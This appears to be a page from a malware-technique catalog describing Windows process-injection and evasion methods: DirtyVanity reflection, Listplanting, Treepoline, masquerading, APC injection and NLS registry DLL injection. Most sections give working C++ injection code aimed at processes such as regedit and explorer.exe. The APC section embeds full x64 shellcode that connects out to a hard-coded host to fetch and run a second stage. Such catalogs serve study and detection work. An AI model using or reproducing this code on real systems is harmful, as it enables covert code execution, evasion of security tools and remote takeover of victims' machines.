NtSetContextThread
Ghost Writing
Featured Windows API's
VirtualAllocEx
WriteProcessMemory
VirtualAlloc
OpenProcess
GetProcAddress
LoadLibraryA
GetLastError
Code Snippet (C++)
#include "DirtyVanity.h"
unsigned char shellcode[] = {
};
int main(int argc, char** argv)
{
// Check argument count
DWORD victimPid;
if (argc != 2)
{
std::cout << "[+] USAGE: DirtyVanity [TARGET_PID_TO_REFLECT]" << std::endl;
return -1;
}
// Parse victim PID
std::string pidArg = argv[1];
try
{
victimPid = std::stoi(pidArg);
}
catch (std::invalid_argument const& ex)
{
std::cout << "[-] USAGE: Invalid PID choice " << pidArg << std::endl;
return -1;
}
// Open victim process
HANDLE victimHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE, TRUE, victimPid);
if (victimHandle == nullptr)
{
std::cout << std::format("[-] Error using OpenProcess on PID {}: ERROR {}", victimPid, GetLastError()) << std::endl;
return -1;
}
// Allocate space for shellcode
DWORD_PTR shellcodeSize = sizeof(shellcode);
LPVOID baseAddress = VirtualAllocEx(victimHandle, nullptr, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (baseAddress == nullptr)
{
std::cout << std::format("[-] Error allocating shellcode with VirtualAllocEx on PID {}: ERROR {}", victimPid, GetLastError()) << std::endl;
return -1;
}
// Write shellcode to victim process
size_t bytess = 0;
bool status = WriteProcessMemory(victimHandle, baseAddress, shellcode, sizeof(shellcode), &bytess);
if (!status)
{
std::cout << std::format("[-] Error writing shellcode with WriteProcessMemory on Explorer.exe : ERROR {}", GetLastError()) << std::endl;
return -1;
}
// Reflect the process
HMODULE lib = LoadLibraryA("ntdll.dll");
if (!lib)
{
return -1;
}
RtlCreateProcessReflectionFunc RtlCreateProcessReflection = (RtlCreateProcessReflectionFunc)GetProcAddress(lib, "RtlCreateProcessReflection");
if (!RtlCreateProcessReflection)
{
return -1;
}
T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION info = { 0 };
NTSTATUS reflectRet = RtlCreateProcessReflection(victimHandle, RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES | RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE, baseAddress, nullptr, NULL, &info);
if (reflectRet == STATUS_SUCCESS) {
std::cout << "[+] Succesfully Mirrored to new PID: " << (DWORD)info.ReflectionClientId.UniqueProcess << std::endl;
}
else {
std::cout << "[!] Error Mirroring: ERROR " << GetLastError() << std::endl;
}
return reflectRet;
}
Listplanting
Listplanting
Map
Process Manipulating
Listplanting
Description Listplanting is a technique that leverages Edit controls, specifically Rich Edit controls in multiline mode, and ListView controls in Windows applications to execute malicious payloads. Edit controls can be customized to use the EditWordBreakProc
callback function for word wrapping. Similarly, ListView controls can be manipulated using messages like LVM_SORTGROUPS
, LVM_INSERTGROUPSORTED
, and LVM_SORTITEMS
to customize sorting behavior.
This technique involves triggering the execution of malicious payloads by exploiting the callback functions associated with these controls. For example, by utilizing the LVM_SORTITEMS
message in combination with a custom callback function, it is possible to execute malicious code when the ListView control is manipulated, such as when sorting items.
Technique Identifier: U1207
Technique Tags:
Rich Edit controls
Windows controls
Multiline mode
EditWordBreakProc callback
Word wrapping
ListView control
GUI element
Display lists of items
LVM_SORTGROUPS message
Callback function
Featured Windows API's
VirtualAllocEx
WriteProcessMemory
VirtualAlloc
OpenProcess
CloseHandle
GetWindowThreadProcessId
GetWindow
VirtualFree
Code Snippet (C++)
#include <windows.h>
VOID listplanting(LPVOID payload, DWORD payloadSize) {
HANDLE hp;
DWORD id;
HWND lvm;
LPVOID cs;
SIZE_T wr;
// 1. Get the window handle
lvm = FindWindow(L"RegEdit_RegEdit", NULL);
lvm = FindWindowEx(lvm, 0, L"SysListView32", 0);
// 2. Obtain the process id and try to open process
GetWindowThreadProcessId(lvm, &id);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 3. Allocate RWX memory and copy the payload there.
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 4. Trigger payload
PostMessage(lvm, LVM_SORTITEMS, 0, (LPARAM)cs);
// 5. Free memory and close process handle
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}
Treepoline
Treepoline
Map
Process Manipulating
Treepoline
Description Treepoline is a technique that exploits tree-view controls, commonly used in Windows applications to display hierarchical data, to execute arbitrary code. Tree-view controls rely on sorting routines to organize the displayed elements. This sorting behavior is controlled by a TVSORTCB structure, which includes a callback function (lpfnCompare
) that determines the sorting order.
By sending a TVM_SORTCHILDRENCB message to a tree-view control, an attacker can specify a malicious callback function that will be executed when sorting elements. This callback function can contain arbitrary code, allowing the attacker to execute unauthorized actions on the system. However, it's crucial to note that such manipulations are likely to be detected by security systems.
Technique Identifier: U1208
Technique Tags:
Tree-view controls
User interface element
Hierarchical data
Graphical user interface (GUI)
Windows applications
Data structures
Item sorting
TVSORTCB structure
lpfnCompare field
Featured Windows API's
VirtualAllocEx
WriteProcessMemory
VirtualAlloc
OpenProcess
CloseHandle
GetWindowThreadProcessId
GetWindow
VirtualFree
Code Snippet (C++)
#include <windows.h>
VOID treepoline(LPVOID payload, DWORD payloadSize) {
HANDLE hp;
DWORD id;
HWND wpw, tlv;
LPVOID cs, ds, item;
SIZE_T rd, wr;
TVSORTCB tvs;
// 1. Get the treeview handle
wpw = FindWindow(L"RegEdit_RegEdit", NULL);
tlv = FindWindowEx(wpw, 0, L"SysTreeView32", 0);
// 2. Obtain the process id and try to open process
GetWindowThreadProcessId(tlv, &id);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 3. Allocate RWX memory and copy the payload there.
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 4. Obtain the root item in tree list
item = (LPVOID)SendMessage(tlv, TVM_GETNEXTITEM, TVGN_ROOT, 0);
tvs.hParent = item;
tvs.lpfnCompare = cs;
tvs.lParam = 0;
// 5. Allocate RW memory and copy the TVSORTCB structure
ds = VirtualAllocEx(hp, NULL, sizeof(TVSORTCB),
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hp, ds, &tvs, sizeof(TVSORTCB), &wr);
// 6. Trigger payload
SendMessage(tlv, TVM_SORTCHILDRENCB, 0, (LPARAM)ds);
// 7. Free memory and close process handle
VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}
Process Camouflage, Masquerading
Map
Process Manipulating
Process Camouflage, Masquerading
Description Process Camouflage, also known as Masquerading, is a technique employed by malware to conceal its presence by disguising itself as a legitimate file. This tactic aims to evade detection by security measures and blend in with trusted system processes. Typically, the malware achieves this by renaming its executable file to match the name of a common and trusted system process, such as svchost.exe, and placing it in a directory where legitimate system files reside.
Masquerading involves manipulating or abusing the name or location of an executable, whether malicious or legitimate, to circumvent security defenses and observation. This technique has numerous variations and can be observed in various forms.
The process of masquerading is often executed through social engineering tricks, utilizing scripting languages like VBS or PowerShell to copy and rename files, employing built-in Windows commands such as copy and rename, or utilizing legitimate tools like xcopy or robocopy to copy files while maintaining their original timestamps.
Detection of this technique relies on analyzing file properties such as name, location, timestamps, and digital signatures, as well as observing the behavior of the process after execution.
APC Injection
Map
Process Manipulating
APC Injection
Description APC (Asynchronous Procedure Call) Injection is a technique employed by malware to execute custom code within the context of another process by attaching it to the APC Queue of a target thread. Each thread in a process has a queue of APCs waiting for execution upon the thread entering an alterable state.
When a thread enters an alterable state by calling certain Windows API functions like SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, or WaitForSingleObjectEx, the APCs in its queue are executed. Malware typically searches for threads in alterable states, then calls OpenThread and QueueUserAPC to queue an APC to the target thread.
This technique allows malware to run its code within the address space of a legitimate process, making it harder to detect and trace back to its source. APC Injection can be used for various malicious purposes, including code execution, privilege escalation, and evasion of security measures.
Technique Identifier: N/A
Technique Tags:
Asynchronous Procedure Calls (APC)
Thread Execution
Alterable State
Code Injection
Malware
Security Evasion
Code Snippet (C++)
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
int main()
{
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
SIZE_T shellSize = sizeof(buf);
HANDLE threadHandle = NULL;
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
}
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}
return 0;
}
NLS Code Injection Through Registry
Map
Process Manipulating
NLS Code Injection Through Registry
DLL injection through registry modification
Description
DLL injection through registry modification of NLS (National Language Support) code page ID is a technique used by malware to inject a malicious DLL into a process by modifying the NLS code page ID in the Windows registry. This technique allows the malware to execute arbitrary code within the context of another process, potentially bypassing security measures.
There are two main methods to accomplish this technique:
Using SetThreadLocale and NlsDllCodePageTranslation: In this approach, the malware calls the SetThreadLocale function to set up an export function named NlsDllCodePageTranslation, where the main payload is located. By modifying the NLS code page ID associated with the process, the malware can ensure that its malicious code gets executed.
Using SetConsoleCp or SetConsoleOutputCP: Alternatively, the malware can use the SetConsoleCp or SetConsoleOutputCP functions to modify the code page ID. If the target process is not console-based, the malware can allocate a console using the AllocConsole function to enable the use of these functions.
Technique Identifier: U1237
Technique Tags:
DLL Injection
Registry Modification
NLS (National Language Support)
SetThreadLocale
SetConsoleCp
SetConsoleOutputCP
AllocConsole
Malware
Proof of Concept
Position-Independent Shellcode
Remote Process Stager
Loading of DLL
Featured Windows API's:
CreateRemoteThread
VirtualAllocEx
WriteProcessMemory
VirtualAlloc
CreateProcessW
RegSetValueExW
RegOpenKeyExW
RegQueryInfoKeyW
RegEnumValueW
SizeofResource
LockResource
LoadResource
CloseHandle
GetLastError
CreateFileW
WriteFile
Code Snippets (C++)
// NLSRegistryCodeInjection.cpp
#include "payload.hpp"
#include "headers.hpp"
uint32_t main(void)
{
std::initializer_list<std::wstring> list = { L"SYSTEM\\ControlSet001\\Control\\Nls\\CodePage", L"Payload.dll" , L""};
auto regObj = std::make_unique<RegistryManipulation>(list);
if (OpenKeyForNlsModification(regObj.get()))
{
std::printf("Payload executed successfully :)\n");
system("pause");
}
return EXIT_SUCCESS;
}
// payload.cpp (part of the code)
bool OpenKeyForNlsModification(PRegistryKey regObject) noexcept
{
bool bResult = false;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, regObject->getStringBuffer(Index::SUBKEY_KEY_VALUE),
0, KEY_ALL_ACCESS, ®Object->hSubkeyNls) != EXIT_SUCCESS)
{
std::printf("Could not open handle to subkey of codePage!, LastError [0x%x]\n", GetLastError());
return bResult;
}
if (!DropSystemDllPayload(regObject)) {
std::printf("Payload dll has failed to drop main payload \n");
return bResult;
}
if (!IterateCodePageAndExtractProperId(regObject)){
std::printf("Could not iterate key for proper modification. Last error: [0x%x]\n", GetLastError());
return bResult;
}
if (CreateProcessToInject(®Object->m_procInfo))
{
InjectStagerToPayload(regObject);
}
return bResult;
}
References
MalDev Academy
Nooranet
unprotect project